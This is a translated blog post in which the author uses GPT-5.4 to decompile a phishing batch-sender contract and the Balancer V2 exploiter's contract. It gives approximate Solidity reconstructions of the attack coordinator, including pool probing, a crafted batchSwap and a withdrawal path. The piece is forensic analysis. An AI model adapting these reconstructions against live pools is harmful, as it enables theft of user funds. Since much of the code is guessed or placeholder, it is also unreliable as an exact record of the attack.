使用 GPT-5.4 反编译字节码
这源于我听说从纯字节码反编译未经验证的智能合约应该很简单,于是我想探究一下“简单”在实践中究竟意味着什么。
一键发币: x402兼容 | Aptos | X Layer | SUI | SOL | BNB | ETH | BASE | ARB | OP | Polygon | Avalanche
这源于我听说从纯字节码反编译未经验证的智能合约应该很简单,于是我想探究一下“简单”在实践中究竟意味着什么。
我粘贴了一段原始字节码,并直接向 GPT-5.4 提出了一个问题:
请反编译这段 EVM 字节码
第一个合约很小,感觉就像是热身。紧接着,我粘贴了第二个更大的字节码,然后问道:好的,这个呢?
正是这第二步让整个过程变得有趣起来。它展示了 Balancer V2 上的攻击者合约是什么样子。
1、热身:我交给 LLM 的第一个合约
我开始在 Etherscan 上搜索一些未经验证的合约(没想到现在这么难!),点击了几下后,我发现了一个钓鱼合约,地址是:
https://etherscan.io/address/0xc727eb69ccf89d5911042f21be25a193d67e2c23#code
字节码本身很短,这使得它成为 GPT 处理的第一个完美示例。
GPT 首先查看了调度器,只识别出两个公共选择器:
0x13d06a4c0xf851a440
这通常表明合约的范围很窄,没有太多活动部件。
由此,它很快就重构了关键行为:
- 一个函数返回一个硬编码的控制器地址
- 一个函数接受三个数组
- 调用者必须是那个硬编码的控制器
- 数组长度必须匹配
- 循环要么发送 ETH,要么调用
ERC20.transfer(...),具体取决于代币地址是否为零
这足以将合约重构为一个非常小的、由所有者控制的批量发送器。
用类似 Solidity 的伪代码表示,它基本上是:
pragma solidity ^0.8.21;
interface IERC20 {
function transfer(address to, uint256 amount) external returns (bool);
}
contract BatchSenderLike {
error AuthOrLengthError(); // selector: 0x47556579
error TransferFailed(); // selector: 0x90b8ec18
address public constant controller =
0xc0007d8C810bEce9B3199bb65799145165F9437c;
receive() external payable {}
// selector: 0xf851a440
function getController() external pure returns (address) {
return controller;
}
// selector: 0x13d06a4c
function batchSend(
address[] calldata assets,
address[] calldata recipients,
uint256[] calldata amounts
) external payable {
if (msg.sender != controller) revert AuthOrLengthError();
if (
assets.length != recipients.length ||
recipients.length != amounts.length
) revert AuthOrLengthError();
for (uint256 i = 0; i < assets.length; i++) {
if (assets[i] == address(0)) {
(bool ok, ) = payable(recipients[i]).call{value: amounts[i]}("");
if (!ok) revert TransferFailed();
} else {
(bool ok, bytes memory ret) =
assets[i].call(
abi.encodeWithSelector(
IERC20.transfer.selector,
recipients[i],
amounts[i]
)
);
if (!ok) revert TransferFailed();
if (ret.length != 0 && !abi.decode(ret, (bool))) {
revert TransferFailed();
}
}
}
}
}就这样,我们看到了钓鱼合约的批量处理功能,它发送了 28 万笔交易,截至撰写本文时,还有 19 笔交易处于待处理状态。
嗯,这个批量处理功能让我想起了另一件事……
2、第二个字节码片段
第二个字节码是 Balancer 漏洞利用者的合约。
https://etherscan.io/address/0x54b53503c0e2173df29f8da735fbd45ee8aba30d#code
所以我再次将字节码输入提示符并按下回车键。
首先,我输入了字节码,让它识别调度器中的公共选择器。然后,它查找任何具有已知签名匹配的选择器,扫描运行时中的嵌入式字符串(hello 控制台日志),将外部调用映射到已知协议,并检查相关交易,使调用数据不再抽象。
在那之后,我才要求它重构自定义函数。这种顺序至关重要。如果我过早地要求它进行完整解释,那么大部分有趣的部分可能都只是用自信的语言进行的猜测。

3、分析过程中使用的工具
这是我发现最有用的部分之一:没有神奇的“反编译”按钮。GPT 是通过将几个较小的线索叠加起来才得出答案的。
3.1 Etherscan
Etherscan 在整个过程中做了很多繁重的工作。这并非因为它以某种方式为我解释了合约,而是因为它让 GPT 能够在代码、交易、辅助合约和创建流程之间自由切换,而不会丢失上下文。最有用的往往不是代码标签页本身,而是页面之间的关系:辅助合约已经创建完成。被更大的反编译器处理后,提取事务准确地显示了调用了哪个选择器以及调用数据是什么样的。这是原始反编译器本身无法提供的上下文信息,而 GPT 很好地利用了这一点。
3.2 4byte/函数签名数据库
这是整个会话中最快的胜利之一。每当 GPT 遇到一个选择器时,它都会检查是否存在已知的匹配签名。这让我立刻获得了诸如 failed()、IS_TEST()、callTx(address,uint256,bytes)、getPoolId()、getBptIndex()、getScalingFactors()、getRateProviders()、getActualSupply()、getAmplificationParameter()、getSwapFeePercentage()、getRate()、getPoolTokens(bytes32)、getInternalBalance(address,address[])、manageUserBalance(...) 和 batchSwap(...) 等函数的精确名称或高置信度名称。
这彻底改变了问题。我不再面对一个随机的合约。GPT 有效地表明,字节码使用的是一种非常特定的语言,而这种语言就是 Balancer。
模式匹配再次发挥了重要作用……
3.3 运行时嵌入的字符串
这是最有趣的部分之一。字节码中包含一些可读的字符串,例如 Doing Batch、poolRate0、poolRate1、trickAmt、trickRate、trickIndex、nonTrickIndex、currentAmp、startBalancesi、Asset Deltasi 和 Ending Invariant。正是这类线索将逆向工程从抽象的字节码追踪转变为更人性化的工作。
这些字符串告诉我,GPT 也证实了这一点,我可能正在查看一段用于调试的代码,该代码测量某些批处理操作前后速率、余额和与不变式相关的值。即使没有任何公开的漏洞利用报告,这也表明它更像是一个实验工具或攻击协调器,而不是一个普通的生产环境封装程序。
4、利用事件报告
我发现一个特别有趣的地方:如果我假设 Balancer 的公开事后分析不存在,我还能仅从合约、辅助函数和链上跟踪中推断出多少信息?
实际上,信息量相当大。
5、合约不再看似随机的那一刻
在更大的合约中,早期最重要的线索实际上根本不是 Balancer,而是 Foundry。
GPT 发现字节码暴露了一系列选择器,匹配诸如 failed()、IS_TEST()、targetSelectors()、excludeSelectors()、targetContracts()、excludeContracts()、targetArtifacts()、excludeArtifacts()、targetSenders()、excludeSenders() 和 targetInterfaces() 之类的函数。这立即改变了我对合约其余部分的解读。如果我假设这是一个干净的生产部署,我就会将许多辅助函数逻辑误读为业务逻辑。
相反,当合约的三层结构紧密结合时,其逻辑才开始变得清晰起来:一层类似 Foundry 的测试或不变框架,一层由所有者控制的编排层,以及底层更为具体的协议逻辑。
6、然后,Balancer 的调用开始变得清晰起来。
一旦 GPT 映射了外部选择器,合约的逻辑就变得更加清晰了。它读取了池 ID、BPT 指数、缩放因子、费率提供者、实际供应量、放大参数、兑换费用百分比和费率。它还调用了 Vault 方法来获取池代币、读取内部余额、管理用户余额并执行 batchSwap。
这并非通用的 DeFi 底层架构,而是高度特定的行为。即使没有任何公开的漏洞利用信息,仅凭这一点,我就能断言:该合约是专门为检查和操纵 Balancer 池状态而设计的,而不是作为通用的 DeFi 聚合器或钱包工具。
7、辅助合约让一切豁然开朗。
这个较小的辅助合约至关重要,因为它证实了较大的合约并非独立运行。它有两个授权调用者,一个公共选择器 0x524c9e20,对余额和缩放因子数组进行繁琐的算术运算,以及 Balancer 风格的回滚格式化。这看起来完全像是一个数学探测程序。
而这正是缺失的一环。更大的合约不仅读取池状态并执行交换操作,它还在反复探测一个辅助函数,该函数似乎在评估接近算术边界的候选值。即便没有任何公开的记录,我认为在黑客攻击发生之前,合理的结论应该是:这看起来像是一个专门用于在 Balancer 池中寻找有利可图或不稳定状态的研究或攻击工具。
8、交易数据比我预期的更有帮助
GPT 获取的最有用的信息之一是提取交易。
选择器 0x8a4f75d6 的调用数据解码得非常清晰:
address[] pools = [
0xdacf5fa19b1f720111609043ac67a9818262850c,
0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd
]这立刻让我意识到,某个自定义函数并非抽象的池数学运算入口点,而是一个仅限所有者使用的函数,用于遍历池地址。
GPT 追踪了该函数的内部执行过程后,其结构显而易见:设置当前池,获取池 ID,获取池地址。从金库中取出 ool 代币,读取合约中这些资产的内部余额,构建 UserBalanceOp[],调用 manageUserBalance(...),然后将余额从金库中取出。换句话说,它看起来像是一条提取路径。
这正是能够将模糊的重构转化为可靠的重构的关键线索,因为此时合约不再像是一个无害的分析辅助工具,而更像是一个包含设置阶段、操作阶段和提现阶段的系统。
9、重构未知的自定义函数
并非所有选择器都存在于公共数据库中,因此 GPT 必须从精确匹配转向基于调用数据形状、存储效果和控制流的推断。
三个重要的未知数是 0x8a4f75d6、0x60e087db 和 0x77e0735d。
0x8a4f75d6 最容易找到,因为提取交易直接调用了它。这让我得以将其大致重构为:
function fn_0x8a4f75d6(address[] calldata pools) external onlyOwner另外两个函数看起来像是两种不同的场景运行器,每个都大致接受 (address,uint256,uint256,address,uint256,uint256) 参数。GPT 的最佳解读是,其中一个运行场景 A,并可选择性地运行场景 B;而另一个则缓存场景 B,并先运行场景 A。
这不足以恢复原始名称,但足以恢复其行为角色,而在逆向工程中,这通常是更重要的里程碑。
10、内部例程才是真正的核心
经过足够的追踪,这个庞大的内部例程不再神秘,而是开始呈现出过程式的特征。它首先设置当前池上下文,并读取大量 Balancer 元数据:池 ID、BPT 索引、缩放因子、费率提供商、实际供应量、放大倍数、交换费和费率。然后,它将池代币批准到金库,构建了似乎排除或特殊处理 BPT 仓位的内部数组,并反复调用辅助函数并传入候选值。
只有在完成所有这些步骤之后,它才构建了 BatchSwapStep[]、资产和限额,然后执行精心构造的 batchSwap(...)。调试字符串表明,它随后测量或发出了围绕池费率、选定的“技巧”金额和索引、当前放大倍数、初始余额、最终余额、资产增量以及某种最终不变性概念的值。最后,在后续阶段,可以通过内部余额提取价值。
11、我对合约的真正理解
我最终的解释,仅基于 GPT-5.4 从字节码和它提取的链上证据中重建的内容,是这个更大的合约不仅仅是一个专门构建的 Balancer 协调器。更具体地说,它看起来像是一个已部署的模糊测试或不变性测试装置的后代,并且已经发展成为某种可运行的程序。
Foundry 风格的接口是我开始这样思考的第一个原因。辅助合约是第二个原因。提取路径是第三个原因。综合起来,整个系统看起来不像是一个干净利落、仅针对最终交易编写的最小化漏洞利用合约。它更像是研究基础设施,在已部署的工件中仍然可见。
这并不一定意味着攻击者部署了他们在本地使用的完全相同的模糊测试框架。我认为更谨慎的说法是:他们很可能通过模糊测试、不变性测试或对抗性实验发现了攻击或对其进行了改进,而已部署的合约仍然保留了许多脚手架。换句话说,它看起来不像是一个精心打磨的最终有效载荷,而更像是最初帮助他们发现漏洞的工具的武器化后代。
12、存储布局
这是最实用的布局,而不是精确的编译器映射。
// Foundry invariant harness state
address[] excludeSenders; // slot 0x15
address[] targetSenders; // slot 0x16
address[] targetContracts; // slot 0x17
address[] excludeContracts; // slot 0x18
string[] targetArtifacts; // slot 0x19
string[] excludeArtifacts; // slot 0x1a
// slot 0x1b..0x1e: selector/interface config arrays
// packed owner + test flag
address owner; // packed in slot 0x1f
bool isTest; // packed in slot 0x1f
// exploit-specific state
address helper; // slot 0x21
address vault; // slot 0x22
address currentPool; // slot 0x23
bytes32 currentPoolId; // slot 0x24
uint256 bptIndex; // slot 0x25
uint256 trickIndex; // slot 0x26, likely
uint256 derivedAmount; // slot 0x27
uint256 derivedAmount2; // slot 0x28
uint256 mode; // slot 0x29
uint256 currentAmp; // slot 0x2a
uint256 trickRate; // slot 0x2b, likely
uint8[] nonBptFlags; // slot 0x2c
// slot 0x2e..0x30: batchSwap / fund management config
uint256 scenarioParam1; // slot 0x31
uint256 scenarioParam2; // slot 0x32
uint256 tokenCountExcludingBpt; // slot 0x33
uint256 base; // slot 0x34 = 2
uint256 width; // slot 0x35 = 4
uint256 groupSize; // slot 0x36 = 3
bool hasDeferredScenario; // slot 0x39
address deferredPool; // slot 0x3a
uint256 deferredParam1; // slot 0x3b
uint256 deferredParam2; // slot 0x3c13、辅助合约重构
pragma solidity 0.7.6;
contract BalancerMathProbe {
address public auth0;
address public auth1;
modifier onlyAuthorized() {
require(msg.sender == auth0 || msg.sender == auth1, "X");
_;
}
// Parameter names are reconstructed from behavior and public writeups.
function fn_0x524c9e20(
uint256[] calldata scalingFactors,
uint256[] calldata balances,
uint256 indexIn,
uint256 indexOut,
uint256 amountGiven,
uint256 ampLike,
uint256 swapFeeLike
) external view onlyAuthorized returns (uint256) {
uint256[] memory scaled = new uint256[](scalingFactors.length);
for (uint256 i = 0; i < scalingFactors.length; i++) {
scaled[i] = balances[i] * scalingFactors[i] / 1e18;
}
uint256 invariantish = _computeInvariantish(ampLike, scaled);
uint256 manipulated = _computeManipulatedOutput(
scaled,
indexIn,
indexOut,
amountGiven,
invariantish,
swapFeeLike
);
return manipulated;
}
// Internal helpers use checked math and may revert with BAL#004.
}14、主合约重构
pragma solidity 0.7.6;
interface IERC20 {
function approve(address spender, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
}
interface IVault {
struct BatchSwapStep {
bytes32 poolId;
uint256 assetInIndex;
uint256 assetOutIndex;
uint256 amount;
bytes userData;
}
struct FundManagement {
address sender;
bool fromInternalBalance;
address payable recipient;
bool toInternalBalance;
}
struct UserBalanceOp {
uint8 kind;
address asset;
uint256 amount;
address sender;
address payable recipient;
}
function getPoolTokens(bytes32 poolId)
external
view
returns (address[] memory tokens, uint256[] memory balances, uint256 lastChangeBlock);
function getInternalBalance(address user, address[] memory tokens)
external
view
returns (uint256[] memory balances);
function manageUserBalance(UserBalanceOp[] memory ops) external;
function batchSwap(
uint8 kind,
BatchSwapStep[] memory swaps,
address[] memory assets,
FundManagement memory funds,
int256[] memory limits,
uint256 deadline
) external returns (int256[] memory assetDeltas);
}
interface IComposableStablePool {
function getPoolId() external view returns (bytes32);
function getBptIndex() external view returns (uint256);
function getScalingFactors() external view returns (uint256[] memory);
function getRateProviders() external view returns (address[] memory);
function getActualSupply() external view returns (uint256);
function getAmplificationParameter() external view returns (uint256, bool, uint256);
function getSwapFeePercentage() external view returns (uint256);
function getRate() external view returns (uint256);
}
interface IProbeHelper {
function fn_0x524c9e20(
uint256[] calldata scalingFactors,
uint256[] calldata balances,
uint256 indexIn,
uint256 indexOut,
uint256 amountGiven,
uint256 ampLike,
uint256 swapFeeLike
) external returns (uint256);
}
contract BalancerCoordinatorLike {
address public owner;
bool public IS_TEST;
address public helper;
address public vault;
address public currentPool;
bytes32 public currentPoolId;
uint256 public bptIndex;
bool internal hasDeferredScenario;
address internal deferredPool;
uint256 internal deferredP1;
uint256 internal deferredP2;
modifier onlyOwner() {
require(msg.sender == owner, "not owner");
_;
}
receive() external payable {}
// Exact selector known.
function callTx(address to, uint256 value, bytes calldata data) external onlyOwner {
(bool ok,) = to.call{value: value}(data);
require(ok, "raw call failed");
}
// Foundry test helper.
function failed() external returns (bool) {
// Falls back to hevm.load(...) in test mode.
return false;
}
// Custom selector 0x60e087db
function fn_0x60e087db(
address pool0,
uint256 p10,
uint256 p20,
address pool1,
uint256 p11,
uint256 p21
) external onlyOwner {
hasDeferredScenario = true;
deferredPool = pool1;
deferredP1 = p11;
deferredP2 = p21;
_runScenario(pool0, p10, p20);
}
// Custom selector 0x77e0735d
function fn_0x77e0735d(
address pool0,
uint256 p10,
uint256 p20,
address pool1,
uint256 p11,
uint256 p21
) external onlyOwner {
_runScenario(pool0, p10, p20);
if (pool1 != address(0)) {
_runScenario(pool1, p11, p21);
}
}
// Exact calldata shape confirmed by extraction tx.
function fn_0x8a4f75d6(address[] calldata pools) external onlyOwner {
for (uint256 i = 0; i < pools.length; i++) {
currentPool = pools[i];
currentPoolId = IComposableStablePool(pools[i]).getPoolId();
(address[] memory tokens,,) = IVault(vault).getPoolTokens(currentPoolId);
uint256[] memory internalBalances = IVault(vault).getInternalBalance(address(this), tokens);
IVault.UserBalanceOp[] memory ops = new IVault.UserBalanceOp[](tokens.length);
for (uint256 j = 0; j < tokens.length; j++) {
ops[j] = IVault.UserBalanceOp({
kind: 1,
asset: tokens[j],
amount: internalBalances[j],
sender: address(this),
recipient: payable(address(this))
});
}
IVault(vault).manageUserBalance(ops);
// The real bytecode emits many debug logs here and checks post-withdraw balances.
for (uint256 j = 0; j < tokens.length; j++) {
IERC20(tokens[j]).balanceOf(address(this));
}
}
}
function _runScenario(address pool, uint256 p1, uint256 p2) internal {
currentPool = pool;
// Likely Foundry-style debug instrumentation preserved in deployment.
// In real source this may have been `console.log(...)` from forge-std.
console.log("Pool", pool);
console.log("Start.");
currentPoolId = IComposableStablePool(pool).getPoolId();
bptIndex = IComposableStablePool(pool).getBptIndex();
(address[] memory tokens, uint256[] memory startBalances,) = IVault(vault).getPoolTokens(currentPoolId);
for (uint256 i = 0; i < tokens.length; i++) {
console.log("mytoken i", tokens[i]);
IERC20(tokens[i]).approve(vault, type(uint256).max);
}
uint256[] memory scalingFactors = IComposableStablePool(pool).getScalingFactors();
address[] memory rateProviders = IComposableStablePool(pool).getRateProviders();
uint256 actualSupply = IComposableStablePool(pool).getActualSupply();
(uint256 amp,,) = IComposableStablePool(pool).getAmplificationParameter();
uint256 swapFee = IComposableStablePool(pool).getSwapFeePercentage();
uint256 poolRate = IComposableStablePool(pool).getRate();
console.log("currentAmp", amp);
// poolRate0 / poolRate1 most likely correspond to the primary and
// secondary scenario when two pools are being driven in one run.
if (hasDeferredScenario) {
console.log("poolRate0", poolRate);
} else {
console.log("poolRate1", poolRate);
}
// Real bytecode derives several indices and builds a compact flag array excluding the BPT.
// It also chooses one "trick" index and one "nonTrick" index.
uint256 trickIndex = _guessIndexIn();
uint256 nonTrickIndex = _guessIndexOut();
console.log("trickIndex", trickIndex);
console.log("nonTrickIndex", nonTrickIndex);
uint256[] memory candidateAmts = _buildCandidateAmounts(tokens.length, p1, p2);
if (candidateAmts.length > 0) {
console.log("trickAmt", candidateAmts[0]);
}
// Probe helper repeatedly with different candidates.
uint256 lastProbe;
for (uint256 i = 0; i < candidateAmts.length; i++) {
lastProbe = IProbeHelper(helper).fn_0x524c9e20(
scalingFactors,
_readPoolBalances(currentPoolId),
trickIndex,
nonTrickIndex,
candidateAmts[i],
amp,
swapFee
);
}
console.log("trickRate", lastProbe);
// Construct batch swaps.
IVault.BatchSwapStep[] memory steps = _buildSwapSteps(candidateAmts);
address[] memory assets = tokens;
int256[] memory limits = _buildLimits(assets.length);
IVault.FundManagement memory funds = IVault.FundManagement({
sender: address(this),
fromInternalBalance: false,
recipient: payable(address(this)),
toInternalBalance: true
});
console.log("Doing Batch");
IVault(vault).batchSwap(
1,
steps,
assets,
funds,
limits,
block.timestamp
);
// These labels likely sat in loops over balances / deltas after the swap.
uint256[] memory endBalances = _readPoolBalances(currentPoolId);
for (uint256 i = 0; i < endBalances.length; i++) {
console.log("startBalancesi", startBalances[i]);
console.log("end__balances[i]", endBalances[i]);
if (endBalances[i] >= startBalances[i]) {
console.log("Asset Deltasi", endBalances[i] - startBalances[i]);
} else {
console.log("Asset Deltasi", startBalances[i] - endBalances[i]);
}
console.log("mybal i", IERC20(tokens[i]).balanceOf(address(this)));
}
// If fn_0x60e087db cached a second scenario, append or run it after the current one.
if (hasDeferredScenario) {
hasDeferredScenario = false;
address nextPool = deferredPool;
uint256 nextP1 = deferredP1;
uint256 nextP2 = deferredP2;
deferredPool = address(0);
deferredP1 = 0;
deferredP2 = 0;
_runScenario(nextPool, nextP1, nextP2);
}
// "Ending Invariant" likely logged after all state comparisons.
console.log("Ending Invariant", _computeInvariantLike(endBalances, amp));
actualSupply;
rateProviders;
poolRate;
}
function _readPoolBalances(bytes32 poolId) internal view returns (uint256[] memory balances) {
(, balances,) = IVault(vault).getPoolTokens(poolId);
}
... function _buildCandidateAmounts(uint256 n, uint256 p1, uint256 p2)
internal
pure
returns (uint256[] memory out)
{
out = new uint256[](n);
for (uint256 i = 0; i < n; i++) {
out[i] = p1 + p2 + i;
}
}
function _buildSwapSteps(uint256[] memory candidateAmts)
internal
view
returns (IVault.BatchSwapStep[] memory out)
{
out = new IVault.BatchSwapStep[](candidateAmts.length);
for (uint256 i = 0; i < candidateAmts.length; i++) {
out[i] = IVault.BatchSwapStep({
poolId: currentPoolId,
assetInIndex: 0,
assetOutIndex: 1,
amount: candidateAmts[i],
userData: ""
});
}
}
function _buildLimits(uint256 n) internal pure returns (int256[] memory out) {
out = new int256[](n);
}
function _guessIndexIn() internal pure returns (uint256) {
return 0;
}
function _guessIndexOut() internal pure returns (uint256) {
return 1;
}
function _computeInvariantLike(uint256[] memory balances, uint256 amp)
internal
pure
returns (uint256)
{
// Placeholder for the stable-invariant-like value the bytecode seemed to track.
balances;
return amp;
}
}原文链接:Decompiling bytecode with GPT-5.4
DefiPlot翻译整理,转载请标明出处
免责声明:本站资源仅用于学习目的,也不应被视为投资建议,读者在采取任何行动之前应自行研究并对自己的决定承担全部责任。